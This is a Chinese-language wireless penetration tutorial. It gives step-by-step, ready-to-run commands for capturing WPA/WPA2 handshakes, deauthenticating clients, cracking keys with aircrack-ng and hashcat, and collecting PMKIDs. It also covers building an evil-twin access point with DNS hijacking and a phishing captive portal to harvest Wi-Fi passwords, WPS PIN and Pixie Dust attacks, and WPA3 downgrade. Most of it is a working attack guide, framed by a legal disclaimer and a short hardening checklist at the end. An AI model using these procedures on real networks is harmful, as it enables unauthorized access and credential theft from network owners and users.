核心声明
本文所有技术仅供合法授权的安全测试、教学研究和个人设备实验。
在未获得网络所有者明确书面授权的情况下,对任何第三方网络实施下述操作均属违法行为。
第一章:无线电基础与硬件准备
1.1 理解 802.11 与监听模式
Wi-Fi 工作在 2.4GHz 和 5GHz 频段,采用载波侦听多路访问(CSMA/CA)。正常情况下,无线网卡只接收发给自己的数据帧。监听模式(Monitor Mode) 让网卡取消过滤,将空中的所有无线帧(管理帧、控制帧、数据帧)完整上交操作系统。这是所有无线攻击的物理基础。
1.2 网卡芯片与驱动
并非所有网卡都支持监听模式和包注入。你需要关注芯片型号:
| 芯片型号 | 频段 | 注入能力 | 推荐度 |
|---|---|---|---|
| RTL8812AU / RTL8814AU | 2.4G/5G AC | 极佳 | ★★★★★ |
| MT7612U / MT7610U | 2.4G/5G AC | 良好 | ★★★★ |
| Ralink RT3070 / RT5370 | 仅 2.4G | 极佳 | ★★★ |
| Atheros AR9271 | 仅 2.4G | 极佳 | ★★★ |
| Intel AX200/AX210(内置) | 2.4G/5G | 极差 | ☆ |
购买建议:某宝搜索"Kali 免驱监听网卡",选择 RTL8812AU 芯片,带外置天线的 USB 网卡,价格约 50-100 元。避免购买 "RTL8188EUS" 等型号,它们通常不支持注入。
1.3 将网卡连接到 Kali 虚拟机
以 VMware 为例:
-
虚拟机设置 → USB 控制器 → 勾选 USB 兼容性(3.0)。
-
启动 Kali,插入网卡后,在菜单栏
虚拟机 → 可移动设备 → 你的网卡 → 连接。 -
在 Kali 终端输入
lsusb应能看到网卡。
第二章:环境构建与网卡初始配置
2.1 Kali Linux 安装
下载最新 Kali Linux ISO,在虚拟机中安装。建议分配内存 ≥ 2GB,硬盘 ≥ 25GB。安装后更新系统:
bash
sudo apt update && sudo apt upgrade -y
2.2 网卡驱动安装(RTL8812AU 示例)
许多外置网卡需要自行编译驱动。Kali 仓库已提供 DKMS 包:
bash
sudo apt install realtek-rtl88xxau-dkms -y
安装后重启。若仍然不认网卡,可手动编译:
bash
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au
make
sudo make install
2.3 确认网卡接口并切换监听模式
bash
# 查看物理接口
sudo airmon-ng
输出示例:
text
PHY Interface Driver Chipset
phy0 wlan0 rtl88x2bu Realtek Semiconductor Corp.
杀掉冲突进程(网络管理器、wpa_supplicant 等会干扰监听):
bash
sudo airmon-ng check kill
启动监听模式:
bash
sudo airmon-ng start wlan0
此时接口名变为 wlan0mon(或原名称不动但模式变更)。验证:
bash
iwconfig wlan0mon
应显示 Mode:Monitor。
第三章:被动信息收集与目标锁定
3.1 基本网络扫描
bash
sudo airodump-ng wlan0mon
字段详解:
-
BSSID:接入点 MAC 地址 -
PWR:信号强度(dBm),例如 -30 极强,-70 弱 -
CH:当前工作信道 -
ENC:加密协议,WPA2、WPA3、OPN -
AUTH:认证方式,PSK为预共享密钥 -
ESSID:Wi-Fi 名称 -
STATION:下方列表显示已连接的客户端(MAC、信号、已收发帧数)
输出保存:
bash
sudo airodump-ng wlan0mon -w scan --output-format csv
生成的 scan-01.csv 可用 Excel 分析。
3.2 发现隐藏 SSID
隐藏 AP 的信标帧中 SSID 长度为 0,但客户端主动探测时会携带真实 SSID。
bash
# 信道跳频捕获,可发送 Deauth 刺激客户端重连
sudo aireplay-ng -0 5 -a 目标BSSID wlan0mon
观察 airodump-ng 界面,SSID 将自动显现。
3.3 识别 WPS 锁定状态
bash
sudo wash -i wlan0mon
输出中 WPS Locked 为 No 意味着可尝试 PIN 攻击。
第四章:WPA/WPA2-PSK 破解基础------握手包捕获
4.1 四步握手原理
客户端与 AP 通过四次 EAPOL 帧协商密钥,其中包含 MIC(消息完整性校验) 和 SNonce + ANonce 等字段。攻击者捕获到完整的四次握手(至少前两个消息即可),就可离线尝试字典密码,逐一计算 MIC 并与捕获值比对。
4.2 精准捕获握手包
bash
# 锁定信道和 BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
此时终端右上角显示 WPA handshake: AA:BB:CC:DD:EE:FF 即为成功。
4.3 主动 Deauth 攻击(踢设备下线)
bash
# 广播 Deauth(向所有客户端)
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# 精确踢单个客户端(-c 客户端MAC)
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
常见失败原因:
-
目标开启了 802.11w(管理帧保护),Deauth 包被丢弃。此时可尝试
--ignore-negative-one参数或改用其他信道。 -
目标距离过远,信号太弱,注入成功率低。
-
网卡驱动不支持注入 → 更换网卡。
4.4 验证握手包有效性
bash
aircrack-ng cap-01.cap
如果显示 0 handshake,则未捕获成功;显示 1 handshake 即可。
第五章:字典破解与 hashcat 加速
5.1 使用 aircrack-ng 破解
bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt cap-01.cap
很快会输出 KEY FOUND! 或 Passphrase not in dictionary。
5.2 转换为 hashcat 格式
bash
hcxpcapngtool -o hash.hc22000 -E essidlist cap-01.cap
hash.hc22000 内容示例:
text
WPA*02*524e...*aabbccddeeff*546573744e6574776f726b*...
5.3 hashcat 基础字典攻击
bash
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
-
-m 22000:WPA-EAPOL-PMKID 混合模式 -
若要强制使用 CPU:加
--force
5.4 GPU 加速优化
bash
hashcat -m 22000 -a 0 -w 4 -O hash.hc22000 wordlist.txt
-
-w 4:最高性能(可能使桌面卡顿) -
-O:优化内核,限制密码长度 ≤ 15
5.5 恢复中断的进度
hashcat 自动保存 checkpoint,下次运行相同命令会自动恢复。手动恢复:
bash
hashcat --session mysession --restore
第六章:无客户端攻击------PMKID 攻击
6.1 原理
2018 年,研究人员发现某些路由器在 RSN IE 字段中包含 RSN PMKID,该值由 PMK、AP MAC 和客户端 MAC 通过 HMAC-SHA1 生成。攻击者无需抓取握手包,只须向 AP 发送关联请求即可获取 PMKID。
6.2 实施步骤
bash
# 1. 启动监听(同前)
sudo airmon-ng start wlan0
# 2. hcxdumptool 收集(针对目标信道)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=3 -c 6 --filterlist_ap=target.txt
target.txt 内容为 BSSID(无冒号),例如 AABBCCDDEEFF。
等待几分钟,Ctrl+C 停止。
6.3 提取并破解
bash
hcxpcapngtool -o pmkid.22000 -E essidlist pmkid.pcapng
hashcat -m 22000 pmkid.22000 wordlist.txt -r best64.rule
第七章:高级字典攻击与规则优化
7.1 规则文件原理
hashcat 的规则文件(.rule)每条规则对一个基础单词进行一次修改,如追加数字、大小写转换、字符替换等。best64.rule 包含 64 条高效规则,rockyou-30000.rule 包含 30000 条基于真实密码的统计规则。
7.2 多级串联攻击
bash
hashcat -m 22000 -a 0 hash.hc22000 -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/numbers.rule wordlist.txt
规则按顺序叠加,可指数级扩展尝试次数。
7.3 掩码攻击(Mask Attack)
已知密码结构时使用:
bash
hashcat -m 22000 -a 3 hash.hc22000 ?l?l?l?l?l?l?d?d
-
?l小写字母 -
?u大写字母 -
?d数字 -
?s特殊字符 -
可自定义字符集:
-1 ?l?d然后使用?1
7.4 混合攻击(Hybrid Attack)
字典单词 + 掩码:
bash
hashcat -m 22000 -a 6 hash.hc22000 wordlist.txt ?d?d
掩码 + 字典:
bash
hashcat -m 22000 -a 7 hash.hc22000 ?d?d wordlist.txt
7.5 基于统计的马尔可夫攻击
hashcat 自带的 hcstat2gen 可生成统计文件,用于更智能的掩码攻击(略)。
第八章:社会工程攻击------Evil Twin & Captive Portal
8.1 Wifiphisher 全自动方案
bash
sudo wifiphisher -aI wlan0mon -e "TargetSSID" -p firmware-upgrade
它会自动完成 Deauth、创建伪 AP、建立 DHCP 和 Web 服务器,受害者连接后会看到固件升级页面,输入的密码会显示在终端。
8.2 手动搭建 Evil Twin + Captive Portal(完整步骤)
用于深度定制和控制。
流程概览:
-
创建与目标同名的开放 AP。
-
配置 DHCP 服务器,分配 IP。
-
劫持 DNS,将所有域名解析到本地 Web 服务器。
-
展示钓鱼页面,记录 POST 提交的密码。
8.2.1 创建伪 AP 配置文件
/etc/hostapd/hostapd.conf:
text
interface=wlan0mon
ssid=FreeWiFi
channel=6
hw_mode=g
auth_algs=1
wpa=0
启动:
bash
sudo hostapd /etc/hostapd/hostapd.conf
8.2.2 配置 dnsmasq(DHCP + DNS)
/etc/dnsmasq.conf:
text
interface=wlan0mon
dhcp-range=192.168.1.10,192.168.1.100,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
address=/#/192.168.1.1
启动:
bash
sudo ifconfig wlan0mon 192.168.1.1 netmask 255.255.255.0 up
sudo dnsmasq -C /etc/dnsmasq.conf
8.2.3 配置 Web 钓鱼页面
使用 Apache 或 Python HTTP 服务器。准备一个 index.html 包含登录表单,POST 动作指向 login.php 并记录密码。
8.2.4 强迫用户连接(Deauth 原 AP)
bash
sudo aireplay-ng -0 0 -a 原AP_BSSID wlan0mon
此时用户断开后可能会搜索并连接到我们的伪 AP。
8.3 使用 hostapd-wpe 获取 PSK 尝试记录
hostapd-wpe 修改版会在日志中记录任何尝试连接的 PSK(即使密码错误)。
bash
sudo apt install hostapd-wpe
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
当用户输入错误密码尝试连接时,日志中会留下明文。
第九章:WPS 攻击------PIN 破解
9.1 WPS 安全缺陷
WPS PIN 为 8 位数字,但最后一位是校验位,且前半部分和后半部分独立验证,实际上只需尝试 10^4 + 10^3 = 11000 次即可破解。
9.2 使用 reaver
bash
sudo wash -i wlan0mon # 扫描
sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv -K 1
-K 1 执行 Pixie Dust 攻击,针对 Broadcom 等芯片,可瞬时算出 PIN。
9.3 常见问题与对策
-
AP 锁定 WPS:通常需要等待或无法攻击。
-
速率限制:reaver 会自动调整尝试间隔。
-
部分路由器默认关闭 WPS,或仅支持按钮配对(PBC),此时 WPS PIN 攻击无效。
第十章:WPA3 攻击面简介
10.1 过渡模式降级攻击
许多 WPA3 路由器同时支持 WPA2,攻击者可发送伪造的 WPA2 信标诱使客户端使用 WPA2 连接,进而抓取 WPA2 握手包。
10.2 Dragonblood 漏洞(理论)
WPA3 的 SAE 握手存在边信道和降级攻击,但实际利用需要物理接近和特定工具。测试中可关注目标是否支持 WPA3 Transition Mode。
第十一章:定制字典生成实战
11.1 Crunch 基础
bash
crunch 8 12 -f /usr/share/crunch/charset.lst mixalpha-numeric -o dict.txt
11.2 基于目标信息生成
使用 cewl 爬取公司网站生成词汇表:
bash
cewl -d 2 -m 5 -w words.txt https://www.example.com
结合 John 规则扩展:
bash
john --wordlist=words.txt --rules:all --stdout > huge_dict.txt
11.3 使用 Mentalist 等图形化工具生成定制字典
Mentalist 可以图形化定义命名模式、日期、特殊字符等组合。
第十二章:破解结果分析与防御措施
12.1 密码强度评估
-
纯数字 8 位:秒破
-
小写字母+数字 8 位:分钟级
-
随机大小写+数字+符号 12 位以上:数年至不可行
12.2 网络加固清单
-
禁用 WPS(或只保留 PBC)
-
启用 WPA3-Only(若设备支持)
-
强密码(16 位无意义字符串)
-
开启 802.11w(Management Frame Protection)
-
开启 AP 隔离
-
定期更新固件
-
不隐藏 SSID(意义不大,反而引起注意)
-
监控陌生设备连接
附录:常见错误排查
| 问题现象 | 原因与解决方案 |
|---|---|
airmon-ng start wlan0 失败 |
先执行 sudo airmon-ng check kill;或网卡驱动不支持 |
airodump-ng 看不到任何网络 |
网卡未进入监听模式;尝试 iw dev wlan0 interface add mon0 type monitor |
| 抓不到握手包 | 无客户端、Deauth 被阻挡、信号弱、802.11w 保护;尝试 PMKID 攻击 |
hashcat 报 "No devices found" |
安装 GPU 驱动(NVIDIA: nvidia-driver,AMD: ROCm);或使用 CPU 模式加 --force |
| PMKID 收集不到 | 目标 AP 已打补丁(2018 年后固件),或网卡不支持注入;尝试传统握手包攻击 |
| Wifiphisher 钓鱼页面不弹出 | 检查 Deauth 是否成功、目标设备是否开启自动连接、伪 AP 信号是否强于原 AP |
reaver 被 AP 锁定 |
等待 60 秒自动继续;或尝试 -L 忽略锁定 |